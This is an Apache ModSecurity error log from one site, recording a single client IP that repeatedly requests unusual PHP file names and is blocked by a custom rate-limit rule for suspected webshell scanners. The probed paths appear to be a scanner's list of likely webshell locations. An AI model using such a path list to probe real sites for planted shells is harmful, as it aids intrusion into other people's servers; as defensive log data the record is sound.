[Tue Mar 24 05:35:04.017219 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:21638] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxxx.php"] [unique_id "acGyCCa_-JXXD03-JNzFhgAAAIA"]
[Tue Mar 24 05:35:05.253233 2026] [:error] [pid 3032:tid 3117] [client 172.213.136.15:22901] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxxx.php"] [unique_id "acGyCSa_-JXXD03-JNzFigAAAI4"]
[Tue Mar 24 05:35:06.393477 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:36009] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zse.php"] [unique_id "acGyCia_-JXXD03-JNzFjgAAAI8"]
[Tue Mar 24 05:35:07.683603 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:24848] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zse.php"] [unique_id "acGyC5dZesutm6dfYM_fswAAAMc"]
[Tue Mar 24 05:35:09.339055 2026] [:error] [pid 3030:tid 3071] [client 172.213.136.15:31401] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zse.php"] [unique_id "acGyDQyOuILyynfcqfn0wgAAABY"]
[Tue Mar 24 05:35:11.279943 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:25379] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zse.php"] [unique_id "acGyD_wkUqN4GJAI5oVzSAAAAQw"]
[Tue Mar 24 05:35:12.102842 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:21344] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsa.php"] [unique_id "acGyEJdZesutm6dfYM_fuwAAANI"]
[Tue Mar 24 05:35:13.135487 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:26281] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsa.php"] [unique_id "acGyEZdZesutm6dfYM_fvwAAAMk"]
[Tue Mar 24 05:35:14.398977 2026] [:error] [pid 3032:tid 3123] [client 172.213.136.15:22176] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsa.php"] [unique_id "acGyEia_-JXXD03-JNzFlQAAAJQ"]
[Tue Mar 24 05:35:15.210342 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:23332] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsa.php"] [unique_id "acGyE5dZesutm6dfYM_fyQAAAMo"]
[Tue Mar 24 05:35:16.595486 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:21345] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/product.php"] [unique_id "acGyFPwkUqN4GJAI5oVzVAAAAQM"]
[Tue Mar 24 05:35:17.398135 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:22857] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/product.php"] [unique_id "acGyFfwkUqN4GJAI5oVzWwAAAQc"]
[Tue Mar 24 05:35:18.454077 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:21471] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/product.php"] [unique_id "acGyFia_-JXXD03-JNzFnAAAAIc"]
[Tue Mar 24 05:35:20.051310 2026] [:error] [pid 3030:tid 3057] [client 172.213.136.15:26290] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/product.php"] [unique_id "acGyGAyOuILyynfcqfn0zAAAAAg"]
[Tue Mar 24 05:35:21.470481 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:33993] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z123.php"] [unique_id "acGyGSa_-JXXD03-JNzFnwAAAIA"]
[Tue Mar 24 05:35:22.794021 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:6808] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z123.php"] [unique_id "acGyGpdZesutm6dfYM_f0QAAAM8"]
[Tue Mar 24 05:35:24.248623 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:21041] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z123.php"] [unique_id "acGyHPwkUqN4GJAI5oVzcAAAARE"]
[Tue Mar 24 05:35:41.375430 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:34024] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpssl.php"] [unique_id "acGyLSa_-JXXD03-JNzFvQAAAIw"]
[Tue Mar 24 05:35:42.475425 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:38700] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpssl.php"] [unique_id "acGyLvwkUqN4GJAI5oVzpAAAAQo"]
[Tue Mar 24 05:35:43.956035 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:23107] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpssl.php"] [unique_id "acGyL6JBKytnG47nuibZ0AAAAEA"]
[Tue Mar 24 05:35:45.063788 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:31326] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpssl.php"] [unique_id "acGyMfwkUqN4GJAI5oVzqgAAARc"]
[Tue Mar 24 05:35:45.788640 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:39530] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acGyMfwkUqN4GJAI5oVzqwAAARA"]
[Tue Mar 24 05:35:47.301887 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:38095] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acGyM_wkUqN4GJAI5oVztQAAARI"]
[Tue Mar 24 05:35:48.043166 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:24031] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acGyNAyOuILyynfcqfn02gAAABU"]
[Tue Mar 24 05:35:49.034806 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:24680] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acGyNaJBKytnG47nuibZ3QAAAEA"]
[Tue Mar 24 05:35:50.775374 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:24037] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.php"] [unique_id "acGyNvwkUqN4GJAI5oVzuwAAAQM"]
[Tue Mar 24 05:35:51.642638 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:21410] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.php"] [unique_id "acGyN_wkUqN4GJAI5oVzvwAAAQg"]
[Tue Mar 24 05:35:52.709048 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:25730] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.php"] [unique_id "acGyOPwkUqN4GJAI5oVzwQAAAQU"]
[Tue Mar 24 05:35:53.520441 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:32436] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.php"] [unique_id "acGyOfwkUqN4GJAI5oVzxAAAAQs"]
[Tue Mar 24 05:35:54.594920 2026] [:error] [pid 3030:tid 3051] [client 172.213.136.15:23088] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asasx.php"] [unique_id "acGyOgyOuILyynfcqfn04wAAAAI"]
[Tue Mar 24 05:35:55.478176 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:39519] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asasx.php"] [unique_id "acGyOya_-JXXD03-JNzFxAAAAIM"]
[Tue Mar 24 05:35:56.249430 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:24517] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asasx.php"] [unique_id "acGyPPwkUqN4GJAI5oVzzAAAARQ"]
[Tue Mar 24 05:35:57.770162 2026] [:error] [pid 3030:tid 3071] [client 172.213.136.15:34499] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asasx.php"] [unique_id "acGyPQyOuILyynfcqfn05AAAABY"]
[Tue Mar 24 05:35:58.893552 2026] [:error] [pid 3031:tid 3099] [client 172.213.136.15:37011] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acGyPqJBKytnG47nuibZ7QAAAFc"]
[Tue Mar 24 05:36:00.932621 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:24515] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acGyQJdZesutm6dfYM_gHwAAAMA"]
[Tue Mar 24 05:36:01.718726 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:22098] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acGyQZdZesutm6dfYM_gIQAAAMs"]
[Tue Mar 24 05:36:02.693615 2026] [:error] [pid 3030:tid 3049] [client 172.213.136.15:24535] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acGyQgyOuILyynfcqfn05wAAAAA"]
[Tue Mar 24 05:36:03.522750 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:49789] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tqloh.php"] [unique_id "acGyQ_wkUqN4GJAI5oVz6wAAARE"]
[Tue Mar 24 05:36:04.894612 2026] [:error] [pid 3032:tid 3104] [client 172.213.136.15:37034] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tqloh.php"] [unique_id "acGyRCa_-JXXD03-JNzF0QAAAIE"]
[Tue Mar 24 05:36:07.371064 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:24622] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tqloh.php"] [unique_id "acGyR5dZesutm6dfYM_gLwAAAMc"]
[Tue Mar 24 05:36:08.189208 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:24025] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tqloh.php"] [unique_id "acGySPwkUqN4GJAI5oVz_QAAARY"]
[Tue Mar 24 05:36:10.047573 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:24790] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "acGySpdZesutm6dfYM_gOAAAAMI"]
[Tue Mar 24 05:36:11.018925 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:34501] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "acGySya_-JXXD03-JNzF3wAAAJA"]
[Tue Mar 24 05:36:12.334915 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:38694] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "acGyTAyOuILyynfcqfn07gAAABU"]
[Tue Mar 24 05:36:14.086996 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:29776] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "acGyTvwkUqN4GJAI5oV0HQAAAQo"]
[Tue Mar 24 05:36:15.226197 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:24551] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl9.php"] [unique_id "acGyTya_-JXXD03-JNzF5gAAAJY"]
[Tue Mar 24 05:36:16.140214 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:38664] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl9.php"] [unique_id "acGyUPwkUqN4GJAI5oV0LAAAAQU"]
[Tue Mar 24 05:36:17.173787 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:29815] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl9.php"] [unique_id "acGyUfwkUqN4GJAI5oV0MAAAAQs"]
[Tue Mar 24 05:36:17.778106 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:25787] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xl9.php"] [unique_id "acGyUfwkUqN4GJAI5oV0NAAAAQk"]
[Tue Mar 24 05:36:19.071190 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:37870] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acwfihfh.php"] [unique_id "acGyU_wkUqN4GJAI5oV0QAAAAQg"]
[Tue Mar 24 05:36:20.158439 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:24824] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acwfihfh.php"] [unique_id "acGyVPwkUqN4GJAI5oV0SAAAARI"]
[Tue Mar 24 05:36:21.395151 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:25743] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acwfihfh.php"] [unique_id "acGyVfwkUqN4GJAI5oV0TwAAAQI"]
[Tue Mar 24 05:36:22.178697 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:25756] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acwfihfh.php"] [unique_id "acGyVvwkUqN4GJAI5oV0VAAAAQY"]
[Tue Mar 24 05:36:23.712892 2026] [:error] [pid 3032:tid 3117] [client 172.213.136.15:21061] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acGyVya_-JXXD03-JNzF7wAAAI4"]
[Tue Mar 24 05:36:24.645807 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:38091] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acGyWPwkUqN4GJAI5oV0WgAAAQU"]
[Tue Mar 24 05:36:25.756522 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:21097] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acGyWSa_-JXXD03-JNzF8gAAAIs"]
